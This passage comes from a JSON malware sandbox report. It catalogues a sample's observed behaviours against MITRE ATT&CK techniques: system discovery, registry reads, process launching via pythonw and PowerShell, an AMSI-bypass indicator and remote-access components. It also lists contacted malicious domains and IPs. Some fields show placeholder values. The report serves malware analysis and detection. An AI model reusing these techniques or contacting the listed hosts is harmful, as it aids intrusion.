Call","mitre_attack_id":"T1497","relevance":3,"id":"api-296","sources":[{"report_type":"sandbox","report_id":"6ae4af83e9cb5a518f049d93"}]},{"level":"informative","category":"Environment Awareness","name":"Attempts to call APIs to gather system and hardware detail","description":"\"a459cc80f8ad88b4e68b4ba073d2a4d7b34ca1072c1201551a09ae8ccd8dd8f6.exe\" called \"GetAdaptersAddresses\" with parameters (UID: 00000000-00002512)\n \"a459cc80f8ad88b4e68b4ba073d2a4d7b34ca1072c1201551a09ae8ccd8dd8f6.exe\" called \"LookupAccountNameW\" with parameters (UID: 00000000-00002512)\n \"pythonw.exe\" called \"GetSystemInfo\" with parameters (UID: 00000000-00003580)\n \"pythonw.exe\" called \"QueryPerformanceCounter\" (UID: 00000000-00003580)\n \"powershell.exe\" called \"GetSystemInfo\" with parameters (UID: 00000000-00003640)","origin":"API Call","mitre_attack_id":"T1082","relevance":3,"id":"api-294","sources":[{"report_type":"sandbox","report_id":"6ae4af83e9cb5a518f049d93"}]},{"level":"informative","category":"Environment Awareness","name":"Attempts to invoke APIs commonly associated with credential theft and data exfiltration functionality","description":"\"a459cc80f8ad88b4e68b4ba073d2a4d7b34ca1072c1201551a09ae8ccd8dd8f6.exe\" called \"NtQueryInformationToken\" with parameters (UID: 00000000-00002512)","origin":"API Call","mitre_attack_id":"T1003","relevance":3,"id":"api-297","sources":[{"report_type":"sandbox","report_id":"6ae4af83e9cb5a518f049d93"}]},{"level":"informative","category":"Environment Awareness","name":"Calls an API possibly used to retrieve a handle to the foreground window","description":"\"a459cc80f8ad88b4e68b4ba073d2a4d7b34ca1072c1201551a09ae8ccd8dd8f6.exe\" called \"GetForegroundWindow\" (UID: 00000000-00002512)","origin":"API Call","mitre_attack_id":"T1010","relevance":3,"id":"api-142","sources":[{"report_type":"sandbox","report_id":"6ae4af83e9cb5a518f049d93"}]},{"level":"informative","category":"Environment Awareness","name":"Calls an API typically used to determine if process is running under WOW64","description":"\"a459cc80f8ad88b4e68b4ba073d2a4d7b34ca1072c1201551a09ae8ccd8dd8f6.exe\" called \"IsWow64Process\" with parameter \"2512\" - (UID: 00000000-00002512)","origin":"API Call","mitre_attack_id":"T1057","relevance":3,"id":"api-146","sources":[{"report_type":"sandbox","report_id":"6ae4af83e9cb5a518f049d93"}]},{"level":"informative","category":"Environment Awareness","name":"Calls an API typically used to enumerate active windows","description":"\"a459cc80f8ad88b4e68b4ba073d2a4d7b34ca1072c1201551a09ae8ccd8dd8f6.exe\" called \"EnumWindows\" with parameter \"82244264\" - (UID: 00000000-00002512)\n \"powershell.exe\" called \"EnumWindows\" with parameter \"0\" - (UID: 00000000-00003640)","origin":"API Call","mitre_attack_id":"T1010","relevance":3,"id":"api-152","sources":[{"report_type":"sandbox","report_id":"6ae4af83e9cb5a518f049d93"}]},{"level":"informative","category":"Environment Awareness","name":"Calls an API typically used to get product type","description":"\"a459cc80f8ad88b4e68b4ba073d2a4d7b34ca1072c1201551a09ae8ccd8dd8f6.exe\" called \"RtlGetNtProductType\" with parameter 01000000 (UID: 00000000-00002512)","origin":"API Call","mitre_attack_id":"T1082","relevance":3,"id":"api-124","sources":[{"report_type":"sandbox","report_id":"6ae4af83e9cb5a518f049d93"}]},{"level":"informative","category":"Environment Awareness","name":"Calls an API typically used to get system version information","description":"$44","origin":"API Call","mitre_attack_id":"T1082","relevance":3,"id":"api-125","sources":[{"report_type":"sandbox","report_id":"6ae4af83e9cb5a518f049d93"}]},{"level":"informative","category":"Environment Awareness","name":"Calls an API typically used to retrieve OS information","description":"\"powershell.exe\" called \"GetVersionExA\" with parameter 940000000a00000000000000654a000002000000007f00000000000000000000010000000000000040260909fa7f0000000100000000000038260909fa7f00000000000000000000409d2722fa7f000000000000000000000001000000000000701f5a21fa7f000000000809fa7f000001000000000000002f190809fa7f0000000000000000000038260909fa7f000000d01500 (UID: 00000000-00003640)","origin":"API Call","mitre_attack_id":"T1082","relevance":2,"id":"api-222","sources":[{"report_type":"sandbox","report_id":"6ae4af83e9cb5a518f049d93"}]},{"level":"informative","category":"Environment Awareness","name":"Calls an API typically used to retrieve account information for specified SID","description":"\"powershell.exe\" called \"LookupAccountSidW\" with param Name NETWORK SERVICE (UID: 00000000-00003640)","origin":"API Call","mitre_attack_id":"T1033","relevance":3,"id":"api-148","sources":[{"report_type":"sandbox","report_id":"6ae4af83e9cb5a518f049d93"}]},{"level":"informative","category":"Environment Awareness","name":"Calls an API typically used to retrieve local language","description":"\"powershell.exe\" called \"GetLocaleInfoW\" with parameter \"9\" - (UID: 00000000-00003640)\n \"powershell.exe\" called \"GetLocaleInfoW\" with parameter \"1033\" - (UID: 00000000-00003640)","origin":"API Call","mitre_attack_id":"T1614","relevance":3,"id":"api-147","sources":[{"report_type":"sandbox","report_id":"6ae4af83e9cb5a518f049d93"}]},{"level":"informative","category":"Environment Awareness","name":"Calls an API used to retrieve process information","description":"Observed import api \"OpenProcessToken\" which can be \"used to retrieve process information\" [Source: pcicapi.dll]\n Observed import api \"OpenProcessToken\" which can be \"used to retrieve process information\" [Source: PCICL32.DLL]\n Observed import api \"OpenProcessToken\" which can be \"used to retrieve process information\" [Source: TCCTL32.DLL]\n Observed import api \"OpenProcessToken\" which can be \"used to retrieve process information\" [Source: HTCTL32.DLL]","origin":"Static Parser","mitre_attack_id":"T1057","relevance":5,"id":"static-189","sources":[{"report_type":"sandbox","report_id":"6ae4af83e9cb5a518f049d93"}]},{"level":"informative","category":"Environment Awareness","name":"Contains ability to enumerate files inside a directory","description":"FindFirstFileExW@KERNEL32.dll at 16575-844-00424069","origin":"Hybrid Analysis Technology","mitre_attack_id":"T1083","relevance":3,"id":"stream-89","sources":[{"report_type":"sandbox","report_id":"6ae4af83e9cb5a518f049d93"}]},{"level":"informative","category":"Environment Awareness","name":"Contains ability to find open windows (API string)","description":"Found reference to API \"FindWindowA\" (Indicator: \"FindWindowA\"; File: \"a459cc80f8ad88b4e68b4ba073d2a4d7b34ca1072c1201551a09ae8ccd8dd8f6.exe\")\n Found reference to API \"FindWindowExA\" (Indicator: \"FindWindowExA\"; File: \"a459cc80f8ad88b4e68b4ba073d2a4d7b34ca1072c1201551a09ae8ccd8dd8f6.exe\")","origin":"File/Memory","mitre_attack_id":"T1010","relevance":1,"id":"string-413","sources":[{"report_type":"sandbox","report_id":"6ae4af83e9cb5a518f049d93"}]},{"level":"informative","category":"Environment Awareness","name":"Contains ability to read software policies","description":"$45","origin":"Registry Access","mitre_attack_id":"T1082","relevance":1,"id":"registry-78","sources":[{"report_type":"sandbox","report_id":"6ae4af83e9cb5a518f049d93"}]},{"level":"informative","category":"Environment Awareness","name":"Contains ability to retrieve machine timezone (API string)","description":"Found reference to API \"GetTimeZoneInformation\" (Indicator: \"GetTimeZoneInformation\"; File: \"a459cc80f8ad88b4e68b4ba073d2a4d7b34ca1072c1201551a09ae8ccd8dd8f6.exe\")","origin":"File/Memory","mitre_attack_id":"T1124","relevance":1,"id":"string-248","sources":[{"report_type":"sandbox","report_id":"6ae4af83e9cb5a518f049d93"}]},{"level":"informative","category":"Environment Awareness","name":"Contains ability to retrieve network parameters of a computer (API string)","description":"Found reference to API \"WNetGetConnectionA\" (Indicator: \"NetGetConnection\"; File: \"a459cc80f8ad88b4e68b4ba073d2a4d7b34ca1072c1201551a09ae8ccd8dd8f6.exe\")\n Found reference to API \"GetNetworkParams\" (Indicator: \"GetNetworkParams\"; File: \"a459cc80f8ad88b4e68b4ba073d2a4d7b34ca1072c1201551a09ae8ccd8dd8f6.exe\")","origin":"File/Memory","mitre_attack_id":"T1016","relevance":1,"id":"string-222","sources":[{"report_type":"sandbox","report_id":"6ae4af83e9cb5a518f049d93"}]},{"level":"informative","category":"Environment Awareness","name":"Contains ability to retrieve open application windows (API string)","description":"$46","origin":"File/Memory","mitre_attack_id":"T1010","relevance":1,"id":"string-141","sources":[{"report_type":"sandbox","report_id":"6ae4af83e9cb5a518f049d93"}]},{"level":"informative","category":"Environment Awareness","name":"Contains ability to retrieve path in which Windows is installed (API string)","description":"Found reference to API \"GetWindowsDirectoryA\" (Indicator: \"GetWindowsDirectory\"; File: \"a459cc80f8ad88b4e68b4ba073d2a4d7b34ca1072c1201551a09ae8ccd8dd8f6.exe\")","origin":"File/Memory","mitre_attack_id":"T1083","relevance":1,"id":"string-312","sources":[{"report_type":"sandbox","report_id":"6ae4af83e9cb5a518f049d93"}]},{"level":"informative","category":"Environment Awareness","name":"Contains ability to retrieve the OS information (API string)","description":"Found reference to API \"GetVersionExA\" (Indicator: \"GetVersionExA\"; File: \"a459cc80f8ad88b4e68b4ba073d2a4d7b34ca1072c1201551a09ae8ccd8dd8f6.exe\")\n Found reference to API \"GetVersionExA\" (Indicator: \"GetVersion\"; File: \"a459cc80f8ad88b4e68b4ba073d2a4d7b34ca1072c1201551a09ae8ccd8dd8f6.exe\")\n Found reference to API \"GetVersion\" (Indicator: \"GetVersion\"; File: \"a459cc80f8ad88b4e68b4ba073d2a4d7b34ca1072c1201551a09ae8ccd8dd8f6.exe\")\n Found reference to API \"Py_GetVersion\" (Indicator: \"GetVersion\"; Source: \"00000000-00003580.00000001.112940.04850000.00000002.mdmp\")\n Found reference to API \"python313.Py_GetVersion\" (Indicator: \"GetVersion\"; Source: \"00000000-00003580.00000001.112940.04850000.00000002.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1082","relevance":1,"id":"string-171","sources":[{"report_type":"sandbox","report_id":"6ae4af83e9cb5a518f049d93"}]},{"level":"informative","category":"Environment Awareness","name":"Contains ability to retrieve volume information (API string)","description":"Found reference to API \"GetVolumeInformationA\" (Indicator: \"GetVolumeInformation\"; File: \"a459cc80f8ad88b4e68b4ba073d2a4d7b34ca1072c1201551a09ae8ccd8dd8f6.exe\")","origin":"File/Memory","mitre_attack_id":"T1082","relevance":1,"id":"string-162","sources":[{"report_type":"sandbox","report_id":"6ae4af83e9cb5a518f049d93"}]},{"level":"informative","category":"Environment Awareness","name":"Contains ability to retrieve windows environment variables","description":"Found string \"%USERNAME%\" (Indicator: \"%username%\"; Source: \"00000000-00002512.00000001.111136.03130000.00000004.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1082","relevance":1,"id":"string-557","sources":[{"report_type":"sandbox","report_id":"6ae4af83e9cb5a518f049d93"}]},{"level":"informative","category":"Environment Awareness","name":"Contains ability to retrieve/open a process","description":"GetProcessHeap@KERNEL32.dll at 16575-743-004251D0","origin":"Hybrid Analysis Technology","mitre_attack_id":"T1057","relevance":1,"id":"stream-31","sources":[{"report_type":"sandbox","report_id":"6ae4af83e9cb5a518f049d93"}]},{"level":"informative","category":"Environment Awareness","name":"Queries TCP/IP interface details","description":"\"a459cc80f8ad88b4e68b4ba073d2a4d7b34ca1072c1201551a09ae8ccd8dd8f6.exe\" (Access type: \"QUERY\"; Path: \"HKLM\\SYSTEM\\CONTROLSET001\\SERVICES\\TCPIP\\PARAMETERS\\INTERFACES\"; Key: \"\"; Value: \"\")\n \"a459cc80f8ad88b4e68b4ba073d2a4d7b34ca1072c1201551a09ae8ccd8dd8f6.exe\" (Access type: \"QUERYVAL\"; Path: \"HKLM\\SYSTEM\\CONTROLSET001\\SERVICES\\TCPIP\\PARAMETERS\\INTERFACES\\{D27478B9-2058-11E8-B41F-806E6F6E6963}\"; Key: \"ENABLEDHCP\"; Value: \"\")\n \"a459cc80f8ad88b4e68b4ba073d2a4d7b34ca1072c1201551a09ae8ccd8dd8f6.exe\" (Access type: \"QUERYVAL\"; Path: \"HKLM\\SYSTEM\\CONTROLSET001\\SERVICES\\TCPIP\\PARAMETERS\\INTERFACES\\{D03DB0C1-2729-4674-A875-8625DD784300}\"; Key: \"ENABLEDHCP\"; Value: \"\")","origin":"Registry Access","mitre_attack_id":"T1012","relevance":1,"id":"registry-130","sources":[{"report_type":"sandbox","report_id":"6ae4af83e9cb5a518f049d93"}]},{"level":"informative","category":"Environment Awareness","name":"Queries the user identity associated with the current process token","description":"\"a459cc80f8ad88b4e68b4ba073d2a4d7b34ca1072c1201551a09ae8ccd8dd8f6.exe\" queried token user identity (UID: 00000000-00002512)","origin":"API Call","mitre_attack_id":"T1033","relevance":2,"id":"api-328","sources":[{"report_type":"sandbox","report_id":"6ae4af83e9cb5a518f049d93"}]},{"level":"informative","category":"Environment Awareness","name":"Queries volume information","description":"$47","origin":"API Call","mitre_attack_id":"T1082","relevance":8,"id":"api-39","sources":[{"report_type":"sandbox","report_id":"6ae4af83e9cb5a518f049d93"}]},{"level":"informative","category":"Environment Awareness","name":"Reads the active computer name","description":"\"a459cc80f8ad88b4e68b4ba073d2a4d7b34ca1072c1201551a09ae8ccd8dd8f6.exe\" (Path: \"HKLM\\SYSTEM\\CONTROLSET001\\CONTROL\\COMPUTERNAME\\ACTIVECOMPUTERNAME\"; Key: \"COMPUTERNAME\")\n \"powershell.exe\" (Path: \"HKLM\\SYSTEM\\CONTROLSET001\\CONTROL\\COMPUTERNAME\\ACTIVECOMPUTERNAME\"; Key: \"COMPUTERNAME\")","origin":"Registry Access","mitre_attack_id":"T1082","relevance":5,"id":"registry-35","sources":[{"report_type":"sandbox","report_id":"6ae4af83e9cb5a518f049d93"}]},{"level":"informative","category":"Environment Awareness","name":"Reads the cryptographic machine GUID","description":"\"a459cc80f8ad88b4e68b4ba073d2a4d7b34ca1072c1201551a09ae8ccd8dd8f6.exe\" (Path: \"HKLM\\SOFTWARE\\MICROSOFT\\CRYPTOGRAPHY\"; Key: \"MACHINEGUID\")\n \"powershell.exe\" (Path: \"HKLM\\SOFTWARE\\MICROSOFT\\CRYPTOGRAPHY\"; Key: \"MACHINEGUID\")","origin":"Registry Access","mitre_attack_id":"T1082","relevance":5,"id":"registry-1","sources":[{"report_type":"sandbox","report_id":"6ae4af83e9cb5a518f049d93"}]},{"level":"informative","category":"Environment Awareness","name":"Reads the registry for installed applications","description":"\"a459cc80f8ad88b4e68b4ba073d2a4d7b34ca1072c1201551a09ae8ccd8dd8f6.exe\" (Path: \"HKLM\\SOFTWARE\\MICROSOFT\\WINDOWS\\CURRENTVERSION\\APP PATHS\\A459CC80F8AD88B4E68B4BA073D2A4D7B34CA1072C1201551A09AE8CCD8DD8F6.EXE\")\n \"a459cc80f8ad88b4e68b4ba073d2a4d7b34ca1072c1201551a09ae8ccd8dd8f6.exe\" (Path: \"HKLM\\SOFTWARE\\MICROSOFT\\WINDOWS\\CURRENTVERSION\\APP PATHS\\PYTHONW.EXE\")","origin":"Registry Access","mitre_attack_id":"T1518","relevance":10,"id":"registry-55","sources":[{"report_type":"sandbox","report_id":"6ae4af83e9cb5a518f049d93"}]},{"level":"informative","category":"Environment Awareness","name":"Reads the windows installation date","description":"\"a459cc80f8ad88b4e68b4ba073d2a4d7b34ca1072c1201551a09ae8ccd8dd8f6.exe\" (Path: \"HKLM\\SOFTWARE\\WOW6432NODE\\MICROSOFT\\WINDOWS NT\\CURRENTVERSION\"; Key: \"INSTALLDATE\")","origin":"Registry Access","mitre_attack_id":"T1082","relevance":3,"id":"registry-13","sources":[{"report_type":"sandbox","report_id":"6ae4af83e9cb5a518f049d93"}]},{"level":"informative","category":"General","name":"Able to aggregate collected data, possibly for exfiltration","description":"\"python313.zip\" copied on \"%ALLUSERSPROFILE%\\NexusSoftware\\felix1\\python313.zip\"","origin":"Binary File","mitre_attack_id":"T1074","relevance":1,"id":"binary-87","sources":[{"report_type":"sandbox","report_id":"6ae4af83e9cb5a518f049d93"}]},{"level":"informative","category":"General","name":"Able to create/load registry keys (API string)","description":"Found registry modification API: \"RegCreateKeyExA\" in file \"a459cc80f8ad88b4e68b4ba073d2a4d7b34ca1072c1201551a09ae8ccd8dd8f6.exe\"\n Found registry modification API: \"RegCreateKeyA\" in file \"a459cc80f8ad88b4e68b4ba073d2a4d7b34ca1072c1201551a09ae8ccd8dd8f6.exe\"","origin":"File/Memory","mitre_attack_id":"T1112","relevance":1,"id":"string-307","sources":[{"report_type":"sandbox","report_id":"6ae4af83e9cb5a518f049d93"}]},{"level":"informative","category":"General","name":"Able to enumerate service (API string)","description":"Found reference to API \"QueryServiceStatus\" (Indicator: \"QueryServiceStatus\"; File: \"a459cc80f8ad88b4e68b4ba073d2a4d7b34ca1072c1201551a09ae8ccd8dd8f6.exe\")\n Found reference to API \"EnumServicesStatusA\" (Indicator: \"EnumServicesStatus\"; File: \"a459cc80f8ad88b4e68b4ba073d2a4d7b34ca1072c1201551a09ae8ccd8dd8f6.exe\")\n Found reference to API \"OpenSCManagerA\" (Indicator: \"OpenSCManager\"; File: \"a459cc80f8ad88b4e68b4ba073d2a4d7b34ca1072c1201551a09ae8ccd8dd8f6.exe\")","origin":"File/Memory","mitre_attack_id":"T1007","relevance":1,"id":"string-191","sources":[{"report_type":"sandbox","report_id":"6ae4af83e9cb5a518f049d93"}]},{"level":"informative","category":"General","name":"Able to read the PEB (Process Environment Block) structure","description":"\"sample.bin\" can read 32 bit PEB structure (dword ptr fs:[00000030h]) (Offset: 236131)","origin":"Binary File","mitre_attack_id":"T1027.007","relevance":3,"id":"binary-30","sources":[{"report_type":"sandbox","report_id":"6ae4af83e9cb5a518f049d93"}]},{"level":"informative","category":"General","name":"Able to rename or move file/directory (API string)","description":"Found string \"MoveFileA\" (Indicator: \"MoveFileA\"; File: \"a459cc80f8ad88b4e68b4ba073d2a4d7b34ca1072c1201551a09ae8ccd8dd8f6.exe\")","origin":"File/Memory","mitre_attack_id":"T1083","relevance":1,"id":"string-884","sources":[{"report_type":"sandbox","report_id":"6ae4af83e9cb5a518f049d93"}]},{"level":"informative","category":"General","name":"Able to retrieve command line parameters of the running process","description":"file/memory contains long string(File: \"msedgewebview.exe\")\n file/memory contains long string(File: \"remcmdstub.exe\")\n Found string \"GetCommandLineA\" (Source: \"00000000-00002512.00000001.111136.007D0000.00000004.mdmp\")\n Found string \"GetCommandLineW\" (Source: \"00000000-00002512.00000001.111136.007D0000.00000004.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1059.003","relevance":1,"id":"string-930","sources":[{"report_type":"sandbox","report_id":"6ae4af83e9cb5a518f049d93"}]},{"level":"informative","category":"General","name":"Accesses System Certificates Settings","description":"$48","origin":"Registry Access","mitre_attack_id":"T1112","relevance":10,"id":"registry-17","sources":[{"report_type":"sandbox","report_id":"6ae4af83e9cb5a518f049d93"}]},{"level":"informative","category":"General","name":"An application crash occurred","description":"Report process \"WerFault.exe\" was created by \"svchost.exe\"\n Report process \"WerFault.exe\" was created by \"chrome.exe\"\n Report process \"WerFault.exe\" was created by \"msedge.exe\"","origin":"Monitored Target","id":"target-2","sources":[{"report_type":"sandbox","report_id":"6ae4af83e9cb5a518f049d93"}]},{"level":"informative","category":"General","name":"Calls GetProcAddress on AmsiScanBuffer function (may used to bypass AMSI)","description":"\"pythonw.exe\" called \"GetProcAddress\" with a parameter \"AmsiScanBuffer\" (UID: 00000000-00003580)\n \"powershell.exe\" called \"GetProcAddress\" with a parameter \"AmsiScanBuffer\" (UID: 00000000-00003640)","origin":"API Call","mitre_attack_id":"T1685","relevance":1,"id":"api-179","sources":[{"report_type":"sandbox","report_id":"6ae4af83e9cb5a518f049d93"}]},{"level":"informative","category":"General","name":"Calls an API typically used to create a directory","description":"\"a459cc80f8ad88b4e68b4ba073d2a4d7b34ca1072c1201551a09ae8ccd8dd8f6.exe\" called \"CreateDirectoryW\" with parameter %ALLUSERSPROFILE%\\NexusSoftware\\felix1 (UID: 00000000-00002512)\n \"a459cc80f8ad88b4e68b4ba073d2a4d7b34ca1072c1201551a09ae8ccd8dd8f6.exe\" called \"CreateDirectoryW\" with parameter %ALLUSERSPROFILE%\\NexusSoftware\\felix1\\pyarmor_runtime_000000 (UID: 00000000-00002512)\n \"a459cc80f8ad88b4e68b4ba073d2a4d7b34ca1072c1201551a09ae8ccd8dd8f6.exe\" called \"CreateDirectoryW\" with parameter %TEMP%\\test2 (UID: 00000000-00002512)\n \"pythonw.exe\" called \"CreateDirectoryW\" with parameter %ALLUSERSPROFILE%\\NexusSoftware\\felix1\\pyarmor_runtime_000000\\__pycache__ (UID: 00000000-00003580)","origin":"API Call","mitre_attack_id":"T1074.001","relevance":3,"id":"api-122","sources":[{"report_type":"sandbox","report_id":"6ae4af83e9cb5a518f049d93"}]},{"level":"informative","category":"General","name":"Calls an API typically used to create a process","description":"\"a459cc80f8ad88b4e68b4ba073d2a4d7b34ca1072c1201551a09ae8ccd8dd8f6.exe\" called \"CreateProcessW\" with parameter \"\"%ALLUSERSPROFILE%\\NexusSoftware\\felix1\\pythonw.exe\" %ALLUSERSPROFILE%\\NexusSoftware\\felix1\\main.py\" - (UID: 00000000-00002512)\n \"pythonw.exe\" called \"CreateProcessW\" with parameter \"%WINDIR%\\system32\\WindowsPowerShell\\v1.0\\powershell.exe\" - (UID: 00000000-00003580)","origin":"API Call","mitre_attack_id":"T1106","relevance":5,"id":"api-128","sources":[{"report_type":"sandbox","report_id":"6ae4af83e9cb5a518f049d93"}]},{"level":"informative","category":"General","name":"Calls an API typically used to create an instance of a named pipe","description":"\"pythonw.exe\" called \"NtCreateNamedPipeFile\" with parameter \"pipe\" - (UID: 00000000-00003580)\n \"powershell.exe\" called \"NtCreateNamedPipeFile\" with parameter \"pipe\\PSHost.134378457133194330.3640.DefaultAppDomain.powershell\" - (UID: 00000000-00003640)","origin":"API Call","mitre_attack_id":"T1570","relevance":3,"id":"api-138","sources":[{"report_type":"sandbox","report_id":"6ae4af83e9cb5a518f049d93"}]},{"level":"informative","category":"General","name":"Calls an API typically used to load libraries","description":"$49","origin":"API Call","mitre_attack_id":"T1129","relevance":1,"id":"api-175","sources":[{"report_type":"sandbox","report_id":"6ae4af83e9cb5a518f049d93"}]},{"level":"informative","category":"General","name":"Calls an API typically used to retrieve function addresses","description":"$4a","origin":"API Call","mitre_attack_id":"T1106","relevance":1,"id":"api-176","sources":[{"report_type":"sandbox","report_id":"6ae4af83e9cb5a518f049d93"}]},{"level":"informative","category":"General","name":"Contacts domains","description":"\"twitmerklend.com\"\n \"viigmeeftsgs.com\"\n \"thelkfklef.com\"\n \"www.google.com\"","origin":"Network Traffic","mitre_attack_id":"T1071","relevance":1,"id":"network-0","sources":[{"report_type":"sandbox","report_id":"6ae4af83e9cb5a518f049d93"}]},{"level":"informative","category":"General","name":"Contacts server","description":"\"87.120.244.24:443\"\n \"85.120.253.110:443\"\n \"31.77.219.127:443\"\n \"31.77.168.93:443\"\n \"142.251.211.174:80\"\n \"142.250.188.14:443\"\n \"172.217.117.4:443\"\n \"142.251.211.174:443\"\n \"142.250.31.84:443\"\n \"142.251.152.119:443\"\n \"172.217.115.4:443\"\n \"142.251.153.119:443\"","origin":"Network Traffic","mitre_attack_id":"T1071","relevance":1,"id":"network-1","sources":[{"report_type":"sandbox","report_id":"6ae4af83e9cb5a518f049d93"}]},{"level":"informative","category":"General","name":"Contains ability to close a handle to a service (API string)","description":"Found reference to API \"CloseServiceHandle\" (Indicator: \"CloseServiceHandle\"; File: \"a459cc80f8ad88b4e68b4ba073d2a4d7b34ca1072c1201551a09ae8ccd8dd8f6.exe\")","origin":"File/Memory","mitre_attack_id":"T1489","relevance":1,"id":"string-242","sources":[{"report_type":"sandbox","report_id":"6ae4af83e9cb5a518f049d93"}]},{"level":"informative","category":"General","name":"Contains ability to create a new process (API string)","description":"Found reference to API \"CreateProcessA\" (Indicator: \"CreateProcess\"; File: \"a459cc80f8ad88b4e68b4ba073d2a4d7b34ca1072c1201551a09ae8ccd8dd8f6.exe\")\n Found reference to API \"CreateProcessAsUserA\" (Indicator: \"CreateProcess\"; File: \"a459cc80f8ad88b4e68b4ba073d2a4d7b34ca1072c1201551a09ae8ccd8dd8f6.exe\")","origin":"File/Memory","mitre_attack_id":"T1106","relevance":1,"id":"string-204","sources":[{"report_type":"sandbox","report_id":"6ae4af83e9cb5a518f049d93"}]},{"level":"informative","category":"General","name":"Contains ability to create/control drivers (API string)","description":"Found reference to API \"DeviceIoControl\" (Indicator: \"DeviceIoControl\"; File: \"a459cc80f8ad88b4e68b4ba073d2a4d7b34ca1072c1201551a09ae8ccd8dd8f6.exe\")","origin":"File/Memory","mitre_attack_id":"T1543.003","relevance":1,"id":"string-220","sources":[{"report_type":"sandbox","report_id":"6ae4af83e9cb5a518f049d93"}]},{"level":"informative","category":"General","name":"Contains ability to disable/close registry key (API string)","description":"Found reference to API \"RegCloseKey\" (Indicator: \"RegCloseKey\"; File: \"a459cc80f8ad88b4e68b4ba073d2a4d7b34ca1072c1201551a09ae8ccd8dd8f6.exe\")","origin":"File/Memory","mitre_attack_id":"T1112","relevance":1,"id":"string-345","sources":[{"report_type":"sandbox","report_id":"6ae4af83e9cb5a518f049d93"}]},{"level":"informative","category":"General","name":"Contains ability to dynamically determine API calls","description":"Found GetProcAddress() and LoadLibraryA() in an import section (Source: libcrypto-3.dll)\n Found GetProcAddress() and LoadLibraryA() in an import section (Source: sqlite3.dll)\n Found GetProcAddress() and LoadLibraryA() in an import section (Source: remcmdstub.exe)\n Found GetProcAddress() and LoadLibraryA() in an import section (Source: pcicapi.dll)\n Found GetProcAddress() and LoadLibraryA() in an import section (Source: PCICL32.DLL)\n Found GetProcAddress() and LoadLibraryA() in an import section (Source: pyarmor_runtime.pyd)\n Found GetProcAddress() and LoadLibraryA() in an import section (Source: TCCTL32.DLL)\n Found GetProcAddress() and LoadLibraryA() in an import section (Source: HTCTL32.DLL)","origin":"Static Parser","mitre_attack_id":"T1027.007","relevance":1,"id":"static-79","sources":[{"report_type":"sandbox","report_id":"6ae4af83e9cb5a518f049d93"}]},{"level":"informative","category":"General","name":"Contains ability to execute an application (API string)","description":"Found reference to API \"WinExec\" (Indicator: \"WinExec\"; File: \"a459cc80f8ad88b4e68b4ba073d2a4d7b34ca1072c1201551a09ae8ccd8dd8f6.exe\")\n Found reference to API \"ShellExecuteA\" (Indicator: \"ShellExecute\"; File: \"a459cc80f8ad88b4e68b4ba073d2a4d7b34ca1072c1201551a09ae8ccd8dd8f6.exe\")\n Found reference to API \"yncShellExecutet\" (Indicator: \"ShellExecute\"; Source: \"00000000-00002512.00000001.111136.00B70000.00000004.mdmp\")\n Found reference to API \"yncShellExecute\" (Indicator: \"ShellExecute\"; Source: \"00000000-00002512.00000001.111136.03130000.00000004.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1106","relevance":1,"id":"string-240","sources":[{"report_type":"sandbox","report_id":"6ae4af83e9cb5a518f049d93"}]},{"level":"informative","category":"General","name":"Contains ability to find and load resources of specific modules (API string)","description":"Found reference to API \"FindResourceA\" (Indicator: \"FindResource\"; File: \"a459cc80f8ad88b4e68b4ba073d2a4d7b34ca1072c1201551a09ae8ccd8dd8f6.exe\")\n Found reference to API \"SizeofResource\" (Indicator: \"SizeofResource\"; File: \"a459cc80f8ad88b4e68b4ba073d2a4d7b34ca1072c1201551a09ae8ccd8dd8f6.exe\")\n Found reference to API \"FindResourceExA\" (Indicator: \"FindResource\"; File: \"a459cc80f8ad88b4e68b4ba073d2a4d7b34ca1072c1201551a09ae8ccd8dd8f6.exe\")\n Found reference to API \"LoadResource\" (Indicator: \"LoadResource\"; File: \"a459cc80f8ad88b4e68b4ba073d2a4d7b34ca1072c1201551a09ae8ccd8dd8f6.exe\")\n Found reference to API \"LockResource\" (Indicator: \"LockResource\"; File: \"a459cc80f8ad88b4e68b4ba073d2a4d7b34ca1072c1201551a09ae8ccd8dd8f6.exe\")","origin":"File/Memory","mitre_attack_id":"T1106","relevance":1,"id":"string-550","sources":[{"report_type":"sandbox","report_id":"6ae4af83e9cb5a518f049d93"}]},{"level":"informative","category":"General","name":"Contains ability to impersonate another user on the local machine (API string)","description":"Found reference to API \"LogonUserA\" (Indicator: \"LogonUser\"; File: \"a459cc80f8ad88b4e68b4ba073d2a4d7b34ca1072c1201551a09ae8ccd8dd8f6.exe\")","origin":"File/Memory","mitre_attack_id":"T1134.001","relevance":1,"id":"string-225","sources":[{"report_type":"sandbox","report_id":"6ae4af83e9cb5a518f049d93"}]},{"level":"informative","category":"General","name":"Contains ability to move file or directory (API string)","description":"Found reference to API \"MoveFileA\" (Indicator: \"MoveFile\"; File: \"a459cc80f8ad88b4e68b4ba073d2a4d7b34ca1072c1201551a09ae8ccd8dd8f6.exe\")","origin":"File/Memory","mitre_attack_id":"T1570","relevance":1,"id":"string-322","sources":[{"report_type":"sandbox","report_id":"6ae4af83e9cb5a518f049d93"}]},{"level":"informative","category":"General","name":"Contains ability to retrieve/modify process thread (API string)","description":"Found reference to API \"CreateThread\" (Indicator: \"CreateThread\"; File: \"a459cc80f8ad88b4e68b4ba073d2a4d7b34ca1072c1201551a09ae8ccd8dd8f6.exe\")\n Found reference to API \"GetThreadContext\" (Indicator: \"GetThreadContext\"; File: \"a459cc80f8ad88b4e68b4ba073d2a4d7b34ca1072c1201551a09ae8ccd8dd8f6.exe\")\n Found reference to API \"OpenThread\" (Indicator: \"OpenThread\"; File: \"a459cc80f8ad88b4e68b4ba073d2a4d7b34ca1072c1201551a09ae8ccd8dd8f6.exe\")\n Found reference to API \"SuspendThread\" (Indicator: \"SuspendThread\"; File: \"a459cc80f8ad88b4e68b4ba073d2a4d7b34ca1072c1201551a09ae8ccd8dd8f6.exe\")\n Found reference to API \"SetThreadContext\" (Indicator: \"SetThreadContext\"; File: \"a459cc80f8ad88b4e68b4ba073d2a4d7b34ca1072c1201551a09ae8ccd8dd8f6.exe\")\n Found reference to API \"ResumeThread\" (Indicator: \"ResumeThread\"; File: 